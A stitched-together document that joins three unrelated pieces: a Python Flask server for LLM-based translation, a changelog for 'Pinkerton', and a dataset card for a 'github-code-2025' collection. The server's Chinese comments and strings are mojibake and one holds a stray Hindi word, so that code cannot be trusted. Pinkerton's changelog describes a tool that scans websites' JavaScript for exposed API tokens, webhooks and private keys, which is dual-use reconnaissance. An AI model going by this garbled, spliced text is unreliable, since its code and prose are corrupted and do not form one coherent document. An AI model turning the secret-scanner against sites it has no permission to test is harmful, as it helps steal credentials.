# ๅๅฐๆๆฌไธญ็ "ๆ่ฝๆ่ฟฐ" ๆฟๆขไธบ็ฉบ๏ผๅ็ปญๅฐฑไธไผๅๅน้
ๅฐ "ๆ่ฝ" ไบใ
if text=='': # ๅฆๆๆๆฌๅจๆฟๆข่ฟ็จไธญ่ขซๆธ
็ฉบ๏ผ่ฏดๆๆๆๆๆฌๅ
ๅฎน้ฝๅทฒ่ขซๅญๅ
ธ่ฏๆฑ่ฆ็๏ผๆๅ็ปๆๅพช็ฏ
break
return res # ่ฟๅๆๅๅฐ็ๅญๅ
ธ่ฏๆฑๅ่ฏๆ
request_queue = Queue() # ๅๅปบ่ฏทๆฑ้ๅ๏ผ็จไบๅผๆญฅๅค็็ฟป่ฏ่ฏทๆฑใไฝฟ็จ้ๅๅฏไปฅ้ฟๅ
่ฏทๆฑๅค็้ปๅกไธป็บฟ็จ๏ผๆ้ซๆๅกๅจๅๅบ้ๅบฆ
def handle_translation(text, translation_queue):
"""
ๅค็็ฟป่ฏ่ฏทๆฑ็ๆ ธๅฟๅฝๆฐใ
Args:
text (str): ๅพ
็ฟป่ฏ็ๆๆฌใ
translation_queue (Queue): ็จไบๅญๆพ็ฟป่ฏ็ปๆ็้ๅใ
"""
text = unquote(text) # ๅฏนๆฅๆถๅฐ็ๆๆฌ่ฟ่ก URL ่งฃ็ ๏ผ่ฟๅๅๅงๆๆฌๅ
ๅฎน
max_retries = 3 # ๆๅคง API ่ฏทๆฑ้่ฏๆฌกๆฐ
retries = 0 # ๅๅงๅ้่ฏๆฌกๆฐ่ฎกๆฐๅจ
MAX_THREADS = 30 # ๆๅคง็บฟ็จๆฐ้ๅถ๏ผ็จไบ้ๅถๅนถๅ API ่ฏทๆฑๆฐ้๏ผ้ฒๆญขๅฏน API ้ ๆ่ฟๅคงๅๅๆ่ถ
ๅบๅนถๅ้ๅถ
queue_length = request_queue.qsize() # ่ทๅๅฝๅ่ฏทๆฑ้ๅ็้ฟๅบฆ๏ผๅฏไปฅๆ นๆฎ้ๅ้ฟๅบฆๅจๆ่ฐๆด็บฟ็จๆฐ
number_of_threads = max(1, min(queue_length // 4, MAX_THREADS)) # ๅจๆ่ฎก็ฎ็บฟ็จๆฐ๏ผ
# ่ณๅฐไฝฟ็จ 1 ไธช็บฟ็จ๏ผๆๅคไธ่ถ
่ฟ MAX_THREADS๏ผ
# ็บฟ็จๆฐ้้ๅ้ฟๅบฆๅขๅ ่ๅขๅ ๏ผไฝๅขๅน
ๅ้ (้คไปฅ 4)ใ
# ่ฟๆ ทๅฏไปฅๅจ่ฏทๆฑ้ๅคงๆถๅขๅ ๅนถๅ๏ผ่ฏทๆฑ้ๅฐๆถๅๅฐ่ตๆบๅ ็จใ
special_chars = ['๏ผ', 'ใ', '๏ผ','...'] # ๅฎไนๅฅๆซ็นๆฎๅญ็ฌฆๅ่กจ๏ผ็จไบๅฅๆซๆ ็น็ฌฆๅท็ๅฏน้ฝๅไฟฎๆญฃ
text_end_special_char = None # ๅๅงๅๆๆฌๆซๅฐพ็นๆฎๅญ็ฌฆๅ้
if text[-1] in special_chars: # ๆฃๆฅๅพ
็ฟป่ฏๆๆฌๆซๅฐพๆฏๅฆๅ
ๅซ็นๆฎๅญ็ฌฆ
text_end_special_char = text[-1] # ๅฆๆๅ
ๅซ๏ผๅ่ฎฐๅฝ่ฏฅ็นๆฎๅญ็ฌฆ
special_char_start = "ใ" # ๅฎไน็นๆฎๅญ็ฌฆ่ตทๅงๆ ่ฎฐ
special_char_end = "ใ" # ๅฎไน็นๆฎๅญ็ฌฆ็ปๆๆ ่ฎฐ
has_special_start = text.startswith(special_char_start) # ๆฃๆฅๆๆฌๆฏๅฆไปฅ็นๆฎๅญ็ฌฆ่ตทๅงๆ ่ฎฐๅผๅคด
has_special_end = text.endswith(special_char_end) # ๆฃๆฅๆๆฌๆฏๅฆไปฅ็นๆฎๅญ็ฌฆ็ปๆๆ ่ฎฐ็ปๅฐพ
if has_special_start and has_special_end: # ๅฆๆๆๆฌๅๆถๅ
ๅซ่ตทๅงๅ็ปๆ็นๆฎๅญ็ฌฆๆ ่ฎฐ๏ผๅๅจ็ฟป่ฏๅ็งป้คๅฎไปฌ๏ผ
# ็ฟป่ฏๅๅๅฐ็นๆฎๅญ็ฌฆๅ ๅ๏ผไปฅ้ฟๅ
็นๆฎๅญ็ฌฆๅฝฑๅ็ฟป่ฏ่ดจ้ๆ่ขซๆจกๅ้่ฏฏ็ฟป่ฏ
text = text[len(special_char_start):-len(special_char_end)]
# OpenAI ๆจกๅๅๆฐ้
็ฝฎ
model_params = {
"temperature": 0.1, # ้ไฝ temperature๏ผไฝฟๆจกๅ่พๅบๆด็จณๅฎ๏ผๅๅฐ้ๆบๆง
"frequency_penalty": 0.1, # ๅฏน้ข็นๅบ็ฐ็ token ๆฝๅ ๆฉ็ฝ๏ผ เคนเคฒเฅเคเคพ้ไฝ้ๅคๅ
ๅฎน็ๆ็ๅฏ่ฝๆง
"max_tokens": 512, # ้ๅถๆจกๅ็ๆtoken็ๆๅคงๆฐ้๏ผ้ฟๅ
ๆจกๅ็ๆ่ฟ้ฟๆๆฌ๏ผๆตช่ดนtokenๆ่ถ
ๅบๅค็้ๅถ
"top_p": 0.3, # ้ๅถๅ้token็่ๅด๏ผไป
่่็ดฏ็งฏๆฆ็ๆ้ซ็ top_p ้จๅ token๏ผ่ฟไธๆญฅ็บฆๆๆจกๅ่พๅบ๏ผๆ้ซ็ๆ่ดจ้
}
try: # ไฝฟ็จ try...except ๅๆ่ทๅฏ่ฝๅ็็ๅผๅธธ๏ผไพๅฆ API ่ฏทๆฑ่ถ
ๆถๆ้่ฏฏ
dict_inuse=get_dict(text) # ไปๅพ
็ฟป่ฏๆๆฌไธญ่ทๅๅญๅ
ธ่ฏๆฑ
for i in range(len(prompt_list)): # ้ๅๆ็คบ่ฏๅ่กจ๏ผๅฐ่ฏไฝฟ็จไธๅ็ๆ็คบ่ฏ่ฟ่ก็ฟป่ฏ
prompt = prompt_list[i] # ่ทๅๅฝๅๅพช็ฏ็ๆ็คบ่ฏ
dict_inuse = get_dict(text) # ๅๆฌก่ทๅๅญๅ
ธ่ฏๆฑ (่ฝ็ถๆญคๅค้ๅค่ทๅ๏ผไฝ้ป่พไธไธบไบไฟ่ฏๆฏๆฌกๅพช็ฏ้ฝ้ๆฐ่ทๅไธๆฌกๅญๅ
ธๆฏๆดไธฅ่ฐจ็)
if dict_inuse: # ๅฆๆ่ทๅๅฐๅญๅ
ธ่ฏๆฑ๏ผๅๅฐๅญๅ
ธๆ็คบ่ฏๅๅญๅ
ธๅ
ๅฎนๆทปๅ ๅฐๅฝๅๆ็คบ่ฏไธญ๏ผๅผๅฏผๆจกๅไฝฟ็จๅญๅ
ธ่ฟ่ก็ฟป่ฏ
prompt += dprompt_list[i] + str(dict_inuse)
messages_test = [ # ๆๅปบ OpenAI API ่ฏทๆฑ็ๆถๆฏไฝ
{"role": "system", "content": prompt}, # system ่ง่ฒๆถๆฏ๏ผๅ
ๅซๆ็คบ่ฏ๏ผ็จไบ่ฎพๅฎๆจกๅ่ง่ฒๅ็ฟป่ฏ็ฎๆ
{"role": "user", "content": text} # user ่ง่ฒๆถๆฏ๏ผๅ
ๅซๅพ
็ฟป่ฏ็ๆๆฌๅ
ๅฎน
]
with concurrent.futures.ThreadPoolExecutor(max_workers=number_of_threads) as executor: # ๅๅปบ็บฟ็จๆฑ ๏ผๅนถๅๆง่ก API ่ฏทๆฑ
future_to_trans = {executor.submit(client.chat.completions.create, model=Model_Type, messages=messages_test, **model_params) for _ in range(number_of_threads)} # ๆไบคๅคไธช API ่ฏทๆฑไปปๅกๅฐ็บฟ็จๆฑ
# ่ฟ้ๆไบค็ไปปๅกๆฐ้็ญไบ number_of_threads๏ผๅฎ็ฐๅนถๅ่ฏทๆฑ
for future in concurrent.futures.as_completed(future_to_trans): # ้ๅๅทฒๅฎๆ็ future
try: # ๅๆฌกไฝฟ็จ try...except ๆ่ทๅไธช API ่ฏทๆฑๅฏ่ฝๅ็็ๅผๅธธ
response_test = future.result() # ่ทๅ future ็็ปๆ๏ผๅณ API ๅๅบ
translations = response_test.choices[0].message.content # ไป API ๅๅบไธญๆๅ็ฟป่ฏ็ปๆๆๆฌ
print(f'{prompt}\n{translations}') # ๆๅฐๆ็คบ่ฏๅ็ฟป่ฏ็ปๆ (่ฐ่ฏๆๆฅๅฟ่ฎฐๅฝ็จ)
if translations.startswith('\n') and not text.startswith('\n'): #ๅฝๅๆๆชๆๆข่ก็ฌฆ๏ผ็ปๆๅบ็ฐๆข่ก็ฌฆ
translations = translations.lstrip('\n') #ๆธ
้ค็ปๆไธญๅผๅคด็ๆข่ก็ฌฆ
if has_special_start and has_special_end: # ๅฆๆๅๅงๆๆฌๅ
ๅซ็นๆฎๅญ็ฌฆๆ ่ฎฐ๏ผๅๅฐ็ฟป่ฏ็ปๆ็จ็นๆฎๅญ็ฌฆๆ ่ฎฐๅ
่ฃน่ตทๆฅ๏ผไฟๆๆ ผๅผไธ่ด
if not translations.startswith(special_char_start): # ๆฃๆฅ็ฟป่ฏ็ปๆๆฏๅฆๅทฒไปฅ่ตทๅงๆ ่ฎฐๅผๅคด๏ผ่ฅๆฒกๆๅๆทปๅ
translations = special_char_start + translations
if not translations.endswith(special_char_end): # ๆฃๆฅ็ฟป่ฏ็ปๆๆฏๅฆๅทฒไปฅ็ปๆๆ ่ฎฐ็ปๅฐพ๏ผ่ฅๆฒกๆๅๆทปๅ
translations = translations + special_char_end
elif has_special_start and not translations.startswith(special_char_start): # ๅๆฌกๆฃๆฅๅนถๆทปๅ ่ตทๅงๆ ่ฎฐ๏ผไปฅๅบๅฏนๆดๅคๆ็ๆ
ๅต
translations = special_char_start + translations
elif has_special_end and not translations.endswith(special_char_end): # ๅๆฌกๆฃๆฅๅนถๆทปๅ ็ปๆๆ ่ฎฐ๏ผไปฅๅบๅฏนๆดๅคๆ็ๆ
ๅต
translations = translations + special_char_end
translation_end_special_char = None # ๅๅงๅ็ฟป่ฏ็ปๆๆซๅฐพ็นๆฎๅญ็ฌฆๅ้
if translations[-1] in special_chars: # ๆฃๆฅ็ฟป่ฏ็ปๆๆซๅฐพๆฏๅฆๅ
ๅซ็นๆฎๅญ็ฌฆ
translation_end_special_char = translations[-1] # ๅฆๆๅ
ๅซ๏ผๅ่ฎฐๅฝ่ฏฅ็นๆฎๅญ็ฌฆ
if text_end_special_char and translation_end_special_char: # ๅฆๆๅๅงๆๆฌๅ็ฟป่ฏ็ปๆๆซๅฐพ้ฝๆ็นๆฎๅญ็ฌฆ
if text_end_special_char != translation_end_special_char: # ไธไธคไธช็นๆฎๅญ็ฌฆไธไธ่ด๏ผๅไฟฎๆญฃ็ฟป่ฏ็ปๆ็ๆซๅฐพ็นๆฎๅญ็ฌฆ๏ผไฝฟๅ
ถไธๅๅงๆๆฌไธ่ด๏ผไฟๆๆ ็น็ฌฆๅทๅฏน้ฝ
translations = translations[:-1] + text_end_special_char
elif text_end_special_char and not translation_end_special_char: # ๅฆๆๅๅงๆๆฌๆซๅฐพๆ็นๆฎๅญ็ฌฆ๏ผ่็ฟป่ฏ็ปๆๆฒกๆ๏ผๅๅฐๅๅงๆๆฌ็ๆซๅฐพ็นๆฎๅญ็ฌฆๆทปๅ ๅฐ็ฟป่ฏ็ปๆๆซๅฐพ๏ผไฟๆๆ ็น็ฌฆๅทๅฎๆด
translations += text_end_special_char
elif not text_end_special_char and translation_end_special_char: # ๅฆๆๅๅงๆๆฌๆซๅฐพๆฒกๆ็นๆฎๅญ็ฌฆ๏ผ่็ฟป่ฏ็ปๆๆ๏ผๅ็งป้ค็ฟป่ฏ็ปๆๆซๅฐพ็็นๆฎๅญ็ฌฆ๏ผไฟๆๆ ็น็ฌฆๅท็ฎๆด
translations = translations[:-1]
contains_japanese_characters = contains_japanese(translations) # ๆฃๆต็ฟป่ฏ็ปๆไธญๆฏๅฆๅ
ๅซๆฅๆๅญ็ฌฆ
repeat_check = has_repeated_sequence(translations, repeat_count) # ๆฃๆต็ฟป่ฏ็ปๆไธญๆฏๅฆๅญๅจ้ๅคๅ
ๅฎน
except Exception as e: # ๆ่ท API ่ฏทๆฑๅผๅธธ
retries += 1 # ๅขๅ ้่ฏๆฌกๆฐ
print(f"API่ฏทๆฑ่ถ
ๆถ๏ผๆญฃๅจ่ฟ่ก็ฌฌ {retries} ๆฌก้่ฏ... {e}") # ๆๅฐ้่ฏไฟกๆฏ
if retries == max_retries: # ๅฆๆ่พพๅฐๆๅคง้่ฏๆฌกๆฐ
raise e # ๆๅบๅผๅธธ๏ผ็ปๆญข็ฟป่ฏ
time.sleep(1) # ็ญๅพ
1 ็งๅ้่ฏ
if not contains_japanese_characters and not repeat_check: # ๅฆๆ็ฟป่ฏ็ปๆไธๅ
ๅซๆฅๆๅญ็ฌฆไธๆฒกๆ้ๅคๅ
ๅฎน๏ผๅ่ฎคไธบ็ฟป่ฏ่ดจ้ๅฏไปฅๆฅๅ๏ผ่ทณๅบๆ็คบ่ฏๅพช็ฏ
break
elif contains_japanese_characters: # ๅฆๆ็ฟป่ฏ็ปๆๅ
ๅซๆฅๆๅญ็ฌฆ๏ผๅ่ฏดๆๅฝๅๆ็คบ่ฏไธ้็จ
print("\033[31mๆฃๆตๅฐ่ฏๆไธญๅ
ๅซๆฅๆๅญ็ฌฆ๏ผๅฐ่ฏไฝฟ็จไธไธไธชๆ็คบ่ฏ่ฟ่ก็ฟป่ฏใ\033[0m") # ๆๅฐ่ญฆๅไฟกๆฏ๏ผๆ็คบๅฐๅฐ่ฏไธไธไธชๆ็คบ่ฏ
continue # ็ปง็ปญไธไธๆฌกๅพช็ฏ๏ผๅฐ่ฏไฝฟ็จไธไธไธชๆ็คบ่ฏ
elif repeat_check: # ๅฆๆ็ฟป่ฏ็ปๆๅญๅจ้ๅคๅ
ๅฎน๏ผๅ่ฏดๆ็ฟป่ฏ่ดจ้ไธไฝณ๏ผ้่ฆ่ฐๆดๆจกๅๅๆฐๆๆ็คบ่ฏ
print("\033[31mๆฃๆตๅฐ่ฏๆไธญๅญๅจ้ๅค็ญ่ฏญ๏ผ่ฐๆดๅๆฐใ\033[0m") # ๆๅฐ่ญฆๅไฟกๆฏ๏ผๆ็คบๅฐ่ฐๆดๆจกๅๅๆฐ
model_params['frequency_penalty'] += 0.1 # ๅขๅ frequency_penalty ๅๆฐๅผ๏ผ้ไฝๆจกๅ็ๆ้ๅคๅ
ๅฎน็ๅพๅ
break # ่ทณๅบๅฝๅๆ็คบ่ฏ็ๅฐ่ฏ๏ผไฝฟ็จ่ฐๆดๅ็ๅๆฐ้ๆฐๅฐ่ฏ็ฟป่ฏ (ๆณจๆ่ฟ้ๅชๆฏ break ไบๅ
ๅฑ็ for ๅพช็ฏ๏ผๅคๅฑ็ for ๅพช็ฏไผ็ปง็ปญๅฐ่ฏไธไธไธชๆ็คบ่ฏ๏ผ้ป่พๅฏ่ฝ้่ฆๆ นๆฎๅฎ้
้ๆฑ่ฐๆด)
if not contains_japanese_characters and not repeat_check: # ๅๆฌกๆฃๆฅ๏ผๅฆๆ็ฟป่ฏ็ปๆๆ็ป็ฌฆๅ่ฆๆฑ (ไธๅ
ๅซๆฅๆๅญ็ฌฆไธๆฒกๆ้ๅคๅ
ๅฎน)๏ผๅ่ทณๅบๆๆๅพช็ฏ๏ผๅฎๆ็ฟป่ฏ
break
# ๆๅฐๆ็ป็ฟป่ฏ็ปๆ (้ซไบฎๆพ็คบ)
print(f"\033[36m[่ฏๆ]\033[0m:\033[31m {translations}\033[0m")
print("-------------------------------------------------------------------------------------------------------") # ๅ้็บฟ๏ผ็จไบๅ้ไธๅๆๆฌ็็ฟป่ฏ็ปๆ
translation_queue.put(translations) # ๅฐ็ฟป่ฏ็ปๆๆพๅ
ฅ็ฟป่ฏ็ปๆ้ๅ๏ผไพ Flask ่ทฏ็ฑๅฝๆฐ่ทๅ
except Exception as e: # ๆ่ทๆดๅคๅฑ็ๅผๅธธ๏ผไพๅฆ API ่ฟๆฅ้่ฏฏ็ญ
print(f"API่ฏทๆฑๅคฑ่ดฅ๏ผ{e}") # ๆๅฐ API ่ฏทๆฑๅคฑ่ดฅ็้่ฏฏไฟกๆฏ
translation_queue.put(False) # ๅฐ False ๆพๅ
ฅ็ฟป่ฏ็ปๆ้ๅ๏ผ่กจ็คบ็ฟป่ฏๅคฑ่ดฅ
# ๅฎไน Flask ่ทฏ็ฑ๏ผๅค็ "/translate" GET ่ฏทๆฑ
@app.route('/translate', methods=['GET'])
def translate():
"""
Flask ่ทฏ็ฑๅฝๆฐ๏ผๅค็ "/translate" GET ่ฏทๆฑใ
ๆฅๆถ GET ่ฏทๆฑๅๆฐไธญ็ "text" ๅญๆฎต๏ผ่ฐ็จ็ฟป่ฏๅค็ๅฝๆฐ่ฟ่ก็ฟป่ฏ๏ผๅนถ่ฟๅ็ฟป่ฏ็ปๆใ
ๅฆๆ็ฟป่ฏ่ถ
ๆถๆๅคฑ่ดฅ๏ผๅ่ฟๅ็ธๅบ็้่ฏฏไฟกๆฏๅ็ถๆ็ ใ
Returns:
Response: Flask Response ๅฏน่ฑก๏ผๅ
ๅซ็ฟป่ฏ็ปๆๆ้่ฏฏไฟกๆฏใ
"""
text = request.args.get('text') # ไป GET ่ฏทๆฑ็ๆฅ่ฏขๅๆฐไธญ่ทๅๅพ
็ฟป่ฏ็ๆๆฌ๏ผๅๆฐๅไธบ "text"
print(f"\033[36m[ๅๆ]\033[0m \033[35m{text}\033[0m") # ๆๅฐๆฅๆถๅฐ็ๅๆ (้ซไบฎๆพ็คบ)
# ็ฑไบๆ็คบ่ฏไธญๅทฒ็ปๆไพๅฏนๆข่ก็ฌฆ็ๅค็๏ผๆไปฅ่ฟ้ไธ้่ฆๅๅฏนๆข่ก็ฌฆ่ฟ่ก็นๆฎๅค็๏ผๆไปฅๅฐไธ้ข็ไปฃ็ ๆณจ้ๆ๏ผๅฆๆไฟฎๆนไบๆ็คบ่ฏ๏ผ่ฏทๅๆถๆณจ้
# if '\n' in text: # ๆฃๆฅๅๆไธญๆฏๅฆๅ
ๅซๆข่ก็ฌฆ "\n"
# text=text.replace('\n','\\n') # ๅฆๆๅ
ๅซ๏ผๅๅฐๆข่ก็ฌฆๆฟๆขไธบ "\\n"๏ผ้ฟๅ
ๆข่ก็ฌฆๅจๅ็ปญๅค็ไธญๅผ่ตท้ฎ้ข (ไพๅฆ๏ผๅจๆไบๆฅๅฟๆๆพ็คบๅบๆฏไธ)
translation_queue = Queue() # ๅๅปบไธไธชๆฐ็็ฟป่ฏ็ปๆ้ๅ๏ผ็จไบๅฝๅ่ฏทๆฑ็็ฟป่ฏ็ปๆไผ ้
request_queue.put_nowait(text) # ๅฐๅพ
็ฟป่ฏๆๆฌๆพๅ
ฅ่ฏทๆฑ้ๅ๏ผไฝฟ็จ put_nowait ้้ปๅกๅฐๆพๅ
ฅ้ๅ
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor: # ๅๅปบไธไธช็บฟ็จๆฑ ๏ผ็จไบๆง่ก็ฟป่ฏไปปๅก (่ฟ้็บฟ็จๆฑ ็ๆๅคง็บฟ็จๆฐ่ฎพ็ฝฎไธบ 10๏ผๅฏ่ฝ้่ฆๆ นๆฎๅฎ้
ๆ
ๅต่ฐๆด)
future = executor.submit(handle_translation, text, translation_queue) # ๆไบค็ฟป่ฏไปปๅก (handle_translation ๅฝๆฐ) ๅฐ็บฟ็จๆฑ ๏ผๅนถ่ทๅ Future ๅฏน่ฑก๏ผ็จไบ่ท่ธชไปปๅก็ถๆๅ็ปๆ
try: # ไฝฟ็จ try...except ๅๆ่ทไปปๅกๆง่ก่ถ
ๆถๅผๅธธ
future.result(timeout=30) # ็ญๅพ
ไปปๅกๅฎๆ๏ผ่ฎพ็ฝฎ่ถ
ๆถๆถ้ดไธบ 30 ็งใๅฆๆๅจ 30 ็งๅ
ไปปๅกๆฒกๆๅฎๆ๏ผๅๆๅบ TimeoutError ๅผๅธธ
except concurrent.futures.TimeoutError: # ๆ่ท่ถ
ๆถๅผๅธธ
print("็ฟป่ฏ่ฏทๆฑ่ถ
ๆถ๏ผ้ๆฐ็ฟป่ฏ...") # ๆๅฐ่ถ
ๆถไฟกๆฏ
return "[่ฏทๆฑ่ถ
ๆถ] " + text, 500 # ่ฟๅ HTTP 500 ้่ฏฏ็ถๆ็ ๅ้่ฏฏไฟกๆฏ๏ผๅ
ๅซๅๅงๆๆฌ๏ผๆนไพฟ็จๆท่ฏๅซ่ถ
ๆถ็่ฏทๆฑ
translation = translation_queue.get() # ไป็ฟป่ฏ็ปๆ้ๅไธญ่ทๅ็ฟป่ฏ็ปๆ๏ผ่ฟ้ไผ้ปๅก็ญๅพ
๏ผ็ดๅฐ้ๅไธญๆ็ปๆๅฏๅ
request_queue.get_nowait() # ไป่ฏทๆฑ้ๅไธญ็งป้คๅทฒๅค็ๅฎๆ็่ฏทๆฑ (่ฟ้ๅฏ่ฝ้่ฆๆ นๆฎๅฎ้
้ๅไฝฟ็จ้ป่พๆฅ่ฐๆด๏ผๅฆๆ request_queue ไป
็จไบ็ป่ฎก้ๅ้ฟๅบฆ๏ผๅๆญคๅค็ get_nowait ๅฏ่ฝไธๆฏๅฟ
้็)
if isinstance(translation, str): # ๆฃๆฅ็ฟป่ฏ็ปๆๆฏๅฆไธบๅญ็ฌฆไธฒ็ฑปๅ๏ผๅคๆญ็ฟป่ฏๆฏๅฆๆๅ
translation = translation.replace('\\n', '\n') # ๅฆๆ็ฟป่ฏๆๅ๏ผๅฐไนๅๆฟๆข็ "\\n" ่ฟๅไธบ "\n"๏ผๆขๅคๅๅงๆข่ก็ฌฆๆ ผๅผ
return translation # ่ฟๅ็ฟป่ฏ็ปๆๅญ็ฌฆไธฒ
else: # ๅฆๆ็ฟป่ฏ็ปๆไธๆฏๅญ็ฌฆไธฒ็ฑปๅ (ไพๅฆ๏ผ่ฟๅไบ False)๏ผๅ่กจ็คบ็ฟป่ฏๅคฑ่ดฅ
return translation, 500 # ่ฟๅ็ฟป่ฏๅคฑ่ดฅ็็ถๆ็ 500 ๅๅ
ทไฝ็้่ฏฏไฟกๆฏ (ๅฆๆ translation ไธญๅ
ๅซไบ้่ฏฏไฟกๆฏ)
def main():
"""
ไธปๅฝๆฐ๏ผๅฏๅจ Flask ๅบ็จๅ gevent ๆๅกๅจใ
"""
print("\033[31mๆๅกๅจๅจ http://127.0.0.1:4000 ไธๅฏๅจ\033[0m") # ๆๅฐๆๅกๅจๅฏๅจไฟกๆฏ๏ผๆ็คบ็จๆท่ฎฟ้ฎๅฐๅ
http_server = WSGIServer(('127.0.0.1', 4000), app, log=None, error_log=None) # ๅๅปบ gevent WSGIServer ๅฎไพ๏ผ็ๅฌ 127.0.0.1:4000 ็ซฏๅฃ๏ผไฝฟ็จ Flask app ๅค็่ฏทๆฑ๏ผ็ฆ็จ่ฎฟ้ฎๆฅๅฟๅ้่ฏฏๆฅๅฟ (log=None, error_log=None)
http_server.serve_forever() # ๅฏๅจ gevent ๆๅกๅจ๏ผๆ ้ๅพช็ฏ่ฟ่ก๏ผ็ญๅพ
ๅๅค็ๅฎขๆท็ซฏ่ฏทๆฑ
if __name__ == '__main__':
main() # ๅฝ่ๆฌไฝไธบไธป็จๅบ่ฟ่กๆถ๏ผ่ฐ็จ main ๅฝๆฐๅฏๅจๆๅกๅจ
|
000pp/Pinkerton
| 3,190 |
CHANGELOG.md
|
# 1.7 - 10/05/2025
- Removed "banner.txt" file
- Removed ASCII art from banner
- Changed color and print scheme
- Changed "rich.print" to "rich.console.print"
- Improved the code
- Add -H option, now you can specify custom headers, for example:
```
python3 main.py -u https://webhook.site/793d267f-c86a-48e6-94e6-9513d0f8917a -H "First-Header" "First-Header-Value" -H "Second-Header" "Second-Header-Value"
GET https://webhook.site/793d267f-c86a-48e6-94e6-9513d0f8917a
second-header Second-Header-Value
first-header First-Header-Value
```
- Removed Heroku API Key regex because of false positives
<br>
# 1.6c - 20/07/2023
- Major changes
- Removed "assets" folder (moved banner img to imgur)
<br>
# 1.6b - 06/08/2022
- Added 2 new secrets regex patterns:
- Asana Client ID
- Asana Client Secret
- IPv4 regex pattern removed because of false positives
<br>
# 1.6a - 04/08/2022
- Added 4 new secrets regex patterns:
- Shopify Access Token
- Shopify Custom Access Token
- Shopify Private App Access Token
- Shopify Shared Secret
- Changed regex and jsbeautify import libs
<br>
# 1.6 - 31/07/2022
- Added 11 new secrets regex patterns:
- URL Schemes
- Adobe Client Secret
- Alibaba AccessKey ID
- Clojars API Token
- Doppler API Token
- Dynatrace API Token
- EasyPost API Token
- GitHub App Token
- GitHub Personal Access Token
- GitLab Personal Access Token
- NPM Access Token
- Fixed GCP API Key regex
- Removed useless if/else code
<br>
# 1.5a - 28/07/2022
- Added 2 new secrets regex patterns:
- Slack Webhook+
- Slack OAuth Tokens
<br>
# 1.5 - 28/07/2022
- Added 9 new secrets regex patterns:
- Artifactory API Token & Password
- Cloudinary Basic Auth
- Facebook Client ID
- IPv4 Address
- Linkedin Secret Key
- Picatic API Key
- Mailto String
- Slack Token
- URL Parameters
- Fixed error message when not parsing arguments
- Changed status messages icons
- Changed README.md banner
- Updated README.md
<br>
# 1.4 - 18/07/2022
- Added 5 new secrets regex patterns:
- PGP Private Key Block
- SSH DSA Private Key
- SSH EC Private Key
- SSH RSA Key
- SSH ED25519 Public Key
- Added jsbeautifier lib to improve regex pattern matching
- Fixed blank regex pattern matching caused by not beautified code
- Fixed infinite JavaScript file scanning
<br>
# 1.3 - 04/07/2022
- Added and updated a bunch of secrets regex:
- Cloudinary
- Firebase URL
- Slack Token
- Facebook Access & API
- Mailgun API Key
- Heroku API Key
- Picatic API Key
- Paypal Braintree
- Twitter Access & OAuth Token
- GitHub URL
- Stripe
- Slack Webhook
- Twilio API Key
- Square Access Token & OAuth Secret
- Removed text file with URLs scanner to fix bugs
<br>
# 1.2b - 21/06/2022
- Pinkerton accept a text file with URLs now!
<br>
# 1.2 - 21/06/2022
- Secret searcher module finished!
- Improved the code
<br>
# 1.1 - 20/06/2022
- JavaScript file link extractor finished!
- Improved the code
- Thinking in a better color system...
<br>
# 1.0 - 09/06/2022
- Official Pinkerton release
|
๐ GitHub Code 2025: The Clean Code Manifesto
A meticulously curated dataset of 1.5M+ repositories representing both quality and innovation in 2025's code ecosystem
๐ The Philosophy
Quality Over Quantity, Purpose Over Volume
In an era of data abundance, we present a dataset built on radical curation. Every file, every repository, every byte has been carefully selected to represent the signal in the noise of open-source development.
๐ฏ What This Dataset Is
๐ Dual-Perspective Design
Subset | ๐๏ธ Above 2 Stars | ๐ฑ Below 2 Stars (2025) |
---|---|---|
Scope | 1M top repositories | 1M random 2025 repos |
Purpose | Proven quality & patterns | Emerging trends & innovation |
Value | What works | What's next |
๐งน The Clean Code Promise
# What you WON'T find here:
๐ซ Binary files # No images, executables, models
๐ซ Build artifacts # No node_modules, __pycache__
๐ซ Configuration noise # No .git, IDE files, lock files
๐ซ License duplication # No repetitive legal text
๐ซ Minified code # No compressed/obfuscated content
๐ซ Empty files # No whitespace-only content
๐ Dataset Structure
github-code-2025/
โโโ ๐ above-2-stars/
โ โโโ train_000.parquet
โ โโโ train_001.parquet
โ โโโ ...
โโโ ๐ฑ below-2-star/
โโโ train_000.parquet
โโโ train_001.parquet
โโโ ...
๐ Schema
{
"repo_id": "owner/repo_name", # ๐ Repository identifier
"file_path": "src/main.py", # ๐๏ธ Relative file path
"content": "def clean_code():", # ๐ Actual source code
"size": 1024 # ๐ File size in bytes
}
๐ ๏ธ How to Use
๐ฅ Quick Start
from datasets import load_dataset
# Load the quality benchmark
quality_ds = load_dataset("nick007x/github-code-2025", "above-2-stars")
# Load emerging trends
emerging_ds = load_dataset("nick007x/github-code-2025", "below-2-star")
# Mix for balanced training
balanced_ds = interleave_datasets([quality_ds, emerging_ds])
๐ฏ Ideal Use Cases
- ๐ง AI Training: Clean, diverse code for language models
- ๐ Code Analysis: Compare popular vs emerging patterns
- ๐ Trend Research: 2025 development practices
- ๐ Education: High-quality examples for learning
- ๐ ๏ธ Tool Development: Benchmarking code quality tools
๐๏ธ Creation Methodology
๐จ Selection Strategy
Phase | Action | Purpose |
---|---|---|
1 | ๐ฏ Dual population sampling | Balance quality & innovation |
2 | ๐งน Multi-layer filtering | Remove noise & binaries |
3 | ๐ Size normalization | Focus on meaningful content |
4 | ๐ Content validation | Ensure text quality |
5 | ๐ท๏ธ Metadata preservation | Maintain context |
๐ซ What We Filtered Out
File Types Removed:
- 50+ binary extensions (images, models, executables)
- 30+ build/system directories
- 15+ configuration file types
- All files outside 1KB-5MB range
Quality Checks:
- โ UTF-8 text validation
- โ Non-empty content check
- โ Binary detection
- โ Repository structure preservation
๐ช Why This Dataset Matters
๐ซ The Quality Revolution
We reject the "more data is better" dogma. Instead, we offer:
- ๐ฏ Intentional Curation: Every file serves a purpose
- โ๏ธ Balanced Perspective: Popular + Emerging = Complete picture
- ๐งน Unprecedented Cleanliness: The cleanest code dataset available
- ๐ Temporal Intelligence: 2025-focused for relevance
๐ค Contributing & Feedback
This dataset is a living project. We welcome:
- ๐ Bug reports and issues
- ๐ก Feature requests for future versions
- ๐ Validation of data quality
- ๐ฏ Suggestions for improvement
๐ License
This dataset aggregates Github repos. Each individual repo maintains its original copyright and license terms (typically various Creative Commons licenses like CC BY, CC BY-NC, etc.). Users must verify and comply with the specific license of any repo they extract and use from this collection. The MIT license in this repository applies only to the dataset compilation and packaging code.
Important: Repository contents maintain their original licenses. Please respect individual project licenses when using this data.
๐ Acknowledgments
Built with gratitude for the entire open-source community. Every file in this dataset represents hours of dedication from developers worldwide.
